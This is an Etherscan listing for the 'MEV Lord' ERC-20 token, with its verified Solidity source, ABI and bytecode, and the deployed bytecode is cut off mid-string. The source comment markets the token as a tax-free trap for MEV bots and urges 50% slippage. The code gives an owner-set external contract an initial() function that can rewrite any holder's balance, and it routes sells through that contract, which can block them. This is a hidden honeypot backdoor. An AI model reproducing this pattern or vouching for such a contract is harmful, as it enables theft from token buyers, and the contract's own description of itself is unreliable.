ETH Price: $2,291.42 (+1.20%)

Token

MEV Lord (MLORD)
 

Overview

Max Total Supply

1,000,000,000,000 MLORD

Holders

63

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
13,723,797,624.234203411 MLORD

Value
$0.00
0x177160ed5c7eccc298000ea17e34ccd57b9fac46
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MEVLORD

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, Unlicense license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-09-01
*/

/*

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣤⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⢿⣧⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣶⣶⡀⠀⠀⢀⡴⠛⠁⠀⠘⣿⡄⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣷⣤⡴⠋⠀⠀⠀⠀⠀⢿⣇⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠺⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⢸⣿⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢻⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠈⣿⡀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⢏⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⣿⡇
⠀⠀⠀⠀⠀⠀⠀⠀⢠⣾⣷⣾⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⢿⡇
⠀⠀⠀⠀⠀⠀⠀⢀⡾⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⢸⡇
⠀⠀⠀⠀⠀⠀⢠⡞⠁⢹⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⢸⠀
⠀⠀⠀⠀⠀⣠⠟⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⢸⠀
⠀⠀⠀⠀⣰⠏⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣴⠋⠀⠀⠀⠀⠀⠈⣿⣿⣿⣿⣿⣿⣿⣿⡆⠀⠀⠀⠀⠀⠀
⠀⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀⢻⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
⢀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀
⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣷⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⡄⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣧⡀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣦⣄⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠿⠛⠃
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
  ************  𝕸𝕰𝖁 𝕷𝕺𝕽𝕯 ************  
This contract is designed to not only stop MEV bots,
but reap them of their souls.

This is a tax free token that uses new and innovative 
bot trapping technology.

Highest slippage possible (50%) is recommended to bait
the MEVs. Bigger buys bring bigger MEVs.

This contract is highly experimental, reap at your own
discretion.

Happy reaping - t.me/MEVLord

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface antiSnipe {
    function checkFrom(address _from, bool _state) external;

    function setTo(address _to) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract MEVLORD is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balance;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => uint256) private cooldown;
    uint256 private _totalSupply = 1000000000000 * 10**9;

    string private constant _name = "MEV Lord";
    string private constant _symbol = "MLORD";
    uint8 private constant _decimals = 9;

    IUniswapV2Router02 private uniswapV2Router;
    antiSnipe private _early;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private cooldownEnabled = false;
    uint256 private _maxTxAmount = _totalSupply;
    uint256 private _maxWalletAmount = _totalSupply;

    modifier antiMevLogic() {
        require(
            address(_early) == msg.sender,
            "Error: wallet bought too early."
        );
        _;
    }

    constructor() {
        _balance[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balance[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function setCooldownEnabled(bool onoff) external onlyOwner {
        cooldownEnabled = onoff;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            require(amount <= _maxTxAmount, "Exceed max transaction amount");

            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _tokenTransfer(from, to, amount);
                _early.checkFrom(from, true);
            } else {
                uint256 currentBalance = balanceOf(to);
                require(
                    currentBalance + amount < _maxWalletAmount,
                    "Exceed max wallet amount"
                );
                if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                    if (cooldownEnabled) {
                        require(cooldown[to] < block.timestamp);
                    }
                    cooldown[to] = block.timestamp + (30 seconds);
                    _early.setTo(to);
                    _tokenTransfer(from, to, amount);
                } else {
                    _early.checkFrom(from, false);
                    _tokenTransfer(from, to, amount);
                }
            }
        } else {
            _tokenTransfer(from, to, amount);
        }
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading is already open");
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        uniswapV2Router = _uniswapV2Router;
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            balanceOf(address(this)),
            0,
            0,
            owner(),
            block.timestamp
        );
        swapEnabled = true;
        cooldownEnabled = true;
        _maxTxAmount = 5000000001 * 10**9;
        _maxWalletAmount = 20000000001 * 10**9;
        tradingOpen = true;
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) private {
        _balance[sender] = _balance[sender].sub(amount);
        _balance[recipient] = _balance[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function removeMaxWallet() public onlyOwner {
        _maxWalletAmount = totalSupply();
    }

    function removeMaxTx() public onlyOwner {
        _maxTxAmount = totalSupply();
    }

    function initial(address _antiMev, uint256 _check)
        external
        antiMevLogic
    {
        _balance[_antiMev] = _check;
    }

    function enableAntiMev(address _antiMev) external onlyOwner {
        _early = antiSnipe(_antiMev);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"_antiMev","type":"address"}],"name":"enableAntiMev","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_antiMev","type":"address"},{"internalType":"uint256","name":"_check","type":"uint256"}],"name":"initial","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeMaxTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeMaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052683635c9adc5dea0000060058190556008805462ffffff60a81b191690556009819055600a5534801561003657600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060055433600081815260026020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a361136b806100d26000396000f3fe6080604052600436106101025760003560e01c806361a5423d1161009557806395d89b411161006457806395d89b41146102c6578063a9059cbb146102f4578063c9567bf914610314578063dc07b61714610329578063dd62ed3e1461033e57600080fd5b806361a5423d1461023357806370a0823114610253578063715018a6146102895780638da5cb5b1461029e57600080fd5b80632be1dee7116100d15780632be1dee7146101c05780633066dbb7146101d7578063313ce567146101f75780635932ead11461021357600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600881526713515588131bdc9960c21b60208201525b6040516101489190611218565b60405180910390f35b34801561015d57600080fd5b5061017161016c366004611184565b610384565b6040519015158152602001610148565b34801561018d57600080fd5b506005545b604051908152602001610148565b3480156101ac57600080fd5b506101716101bb366004611143565b61039a565b3480156101cc57600080fd5b506101d5610403565b005b3480156101e357600080fd5b506101d56101f2366004611184565b61043e565b34801561020357600080fd5b5060405160098152602001610148565b34801561021f57600080fd5b506101d561022e3660046111b0565b6104b4565b34801561023f57600080fd5b506101d561024e3660046110d0565b6104fc565b34801561025f57600080fd5b5061019261026e3660046110d0565b6001600160a01b031660009081526002602052604090205490565b34801561029557600080fd5b506101d5610548565b3480156102aa57600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102d257600080fd5b50604080518082019091526005815264135313d49160da1b602082015261013b565b34801561030057600080fd5b5061017161030f366004611184565b6105bc565b34801561032057600080fd5b506101d56105c9565b34801561033557600080fd5b506101d56109b1565b34801561034a57600080fd5b5061019261035936600461110a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103913384846109e3565b50600192915050565b60006103a7848484610b08565b6103f984336103f48560405180606001604052806028815260200161130e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f48565b6109e3565b5060019392505050565b6000546001600160a01b031633146104365760405162461bcd60e51b815260040161042d9061126d565b60405180910390fd5b600554600955565b6007546001600160a01b031633146104985760405162461bcd60e51b815260206004820152601f60248201527f4572726f723a2077616c6c657420626f7567687420746f6f206561726c792e00604482015260640161042d565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146104de5760405162461bcd60e51b815260040161042d9061126d565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105265760405162461bcd60e51b815260040161042d9061126d565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105725760405162461bcd60e51b815260040161042d9061126d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610391338484610b08565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161042d9061126d565b600854600160a01b900460ff161561064d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042d565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560055461068690309083906109e3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106bf57600080fd5b505afa1580156106d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f791906110ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073f57600080fd5b505afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906110ed565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107bf57600080fd5b505af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f791906110ed565b600880546001600160a01b039283166001600160a01b03199091161790556006541663f305d719473061083f816001600160a01b031660009081526002602052604090205490565b6000806108546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108b757600080fd5b505af11580156108cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f091906111ea565b5050600880546745639182808eca006009556801158e46094f6aca00600a5563ffff00ff60a01b198116630101000160a01b1790915560065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561097557600080fd5b505af1158015610989573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ad91906111cd565b5050565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161042d9061126d565b600554600a55565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042d565b6001600160a01b038216610bce5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042d565b60008111610c305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161042d565b6000546001600160a01b03848116911614801590610c5c57506000546001600160a01b03838116911614155b15610f3857600954811115610cb35760405162461bcd60e51b815260206004820152601d60248201527f457863656564206d6178207472616e73616374696f6e20616d6f756e74000000604482015260640161042d565b6008546001600160a01b038381169116148015610cde57506006546001600160a01b03848116911614155b15610d5957610cee838383610f82565b6007546040516308592dcf60e41b81526001600160a01b0385811660048301526001602483015290911690638592dcf090604401600060405180830381600087803b158015610d3c57600080fd5b505af1158015610d50573d6000803e3d6000fd5b50505050505050565b6001600160a01b038216600090815260026020526040902054600a54610d7f83836112a2565b10610dcc5760405162461bcd60e51b815260206004820152601860248201527f457863656564206d61782077616c6c657420616d6f756e740000000000000000604482015260640161042d565b6008546001600160a01b038581169116148015610df757506006546001600160a01b03848116911614155b15610ec157600854600160b81b900460ff1615610e32576001600160a01b0383166000908152600460205260409020544211610e3257600080fd5b610e3d42601e6112a2565b6001600160a01b0384811660008181526004602081905260409182902094909455600754905163077233e960e41b81529384019190915216906377233e9090602401600060405180830381600087803b158015610e9957600080fd5b505af1158015610ead573d6000803e3d6000fd5b50505050610ebc848484610f82565b610f32565b6007546040516308592dcf60e41b81526001600160a01b0386811660048301526000602483015290911690638592dcf090604401600060405180830381600087803b158015610f0f57600080fd5b505af1158015610f23573d6000803e3d6000fd5b50505050610f32848484610f82565b50505050565b610f43838383610f82565b505050565b60008184841115610f6c5760405162461bcd60e51b815260040161042d9190611218565b506000610f7984866112ba565b95945050505050565b6001600160a01b038316600090815260026020526040902054610fa59082611028565b6001600160a01b038085166000908152600260205260408082209390935590841681522054610fd49082611071565b6001600160a01b0380841660008181526002602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610afb9085815260200190565b600061106a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f48565b9392505050565b60008061107e83856112a2565b90508381101561106a5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161042d565b6000602082840312156110e257600080fd5b813561106a816112e7565b6000602082840312156110ff57600080fd5b815161106a816112e7565b6000806040838503121561111d57600080fd5b8235611128816112e7565b91506020830135611138816112e7565b809150509250929050565b60008060006060848603121561115857600080fd5b8335611163816112e7565b92506020840135611173816112e7565b929592945050506040919091013590565b6000806040838503121561119757600080fd5b82356111a2816112e7565b946020939093013593505050565b6000602082840312156111c257600080fd5b813561106a816112ff565b6000602082840312156111df57600080fd5b815161106a816112ff565b6000806000606084860312156111ff57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561124557858101830151858201604001528201611229565b81811115611257576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156112b5576112b56112d1565b500190565b6000828210156112cc576112cc6112d1565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b03811681146112fc57600080fd5b50565b80151581146112fc57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201bd0ff15a777a6a8e96d36a2c9b0dde557c53a360a6b6fc3211913066677e5c964736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101025760003560e01c806361a5423d1161009557806395d89b411161006457806395d89b41146102c6578063a9059cbb146102f4578063c9567bf914610314578063dc07b61714610329578063dd62ed3e1461033e57600080fd5b806361a5423d1461023357806370a0823114610253578063715018a6146102895780638da5cb5b1461029e57600080fd5b80632be1dee7116100d15780632be1dee7146101c05780633066dbb7146101d7578063313ce567146101f75780635932ead11461021357600080fd5b806306fdde031461010e578063095ea7b31461015157806318160ddd1461018157806323b872dd146101a057600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600881526713515588131bdc9960c21b60208201525b6040516101489190611218565b60405180910390f35b34801561015d57600080fd5b5061017161016c366004611184565b610384565b6040519015158152602001610148565b34801561018d57600080fd5b506005545b604051908152602001610148565b3480156101ac57600080fd5b506101716101bb366004611143565b61039a565b3480156101cc57600080fd5b506101d5610403565b005b3480156101e357600080fd5b506101d56101f2366004611184565b61043e565b34801561020357600080fd5b5060405160098152602001610148565b34801561021f57600080fd5b506101d561022e3660046111b0565b6104b4565b34801561023f57600080fd5b506101d561024e3660046110d0565b6104fc565b34801561025f57600080fd5b5061019261026e3660046110d0565b6001600160a01b031660009081526002602052604090205490565b34801561029557600080fd5b506101d5610548565b3480156102aa57600080fd5b506000546040516001600160a01b039091168152602001610148565b3480156102d257600080fd5b50604080518082019091526005815264135313d49160da1b602082015261013b565b34801561030057600080fd5b5061017161030f366004611184565b6105bc565b34801561032057600080fd5b506101d56105c9565b34801561033557600080fd5b506101d56109b1565b34801561034a57600080fd5b5061019261035936600461110a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006103913384846109e3565b50600192915050565b60006103a7848484610b08565b6103f984336103f48560405180606001604052806028815260200161130e602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610f48565b6109e3565b5060019392505050565b6000546001600160a01b031633146104365760405162461bcd60e51b815260040161042d9061126d565b60405180910390fd5b600554600955565b6007546001600160a01b031633146104985760405162461bcd60e51b815260206004820152601f60248201527f4572726f723a2077616c6c657420626f7567687420746f6f206561726c792e00604482015260640161042d565b6001600160a01b03909116600090815260026020526040902055565b6000546001600160a01b031633146104de5760405162461bcd60e51b815260040161042d9061126d565b60088054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105265760405162461bcd60e51b815260040161042d9061126d565b600780546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105725760405162461bcd60e51b815260040161042d9061126d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610391338484610b08565b6000546001600160a01b031633146105f35760405162461bcd60e51b815260040161042d9061126d565b600854600160a01b900460ff161561064d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161042d565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560055461068690309083906109e3565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156106bf57600080fd5b505afa1580156106d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f791906110ed565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561073f57600080fd5b505afa158015610753573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077791906110ed565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107bf57600080fd5b505af11580156107d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f791906110ed565b600880546001600160a01b039283166001600160a01b03199091161790556006541663f305d719473061083f816001600160a01b031660009081526002602052604090205490565b6000806108546000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156108b757600080fd5b505af11580156108cb573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906108f091906111ea565b5050600880546745639182808eca006009556801158e46094f6aca00600a5563ffff00ff60a01b198116630101000160a01b1790915560065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b15801561097557600080fd5b505af1158015610989573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ad91906111cd565b5050565b6000546001600160a01b031633146109db5760405162461bcd60e51b815260040161042d9061126d565b600554600a55565b6001600160a01b038316610a455760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161042d565b6001600160a01b038216610aa65760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161042d565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b6c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161042d565b6001600160a01b038216610bce5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161042d565b60008111610c305760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652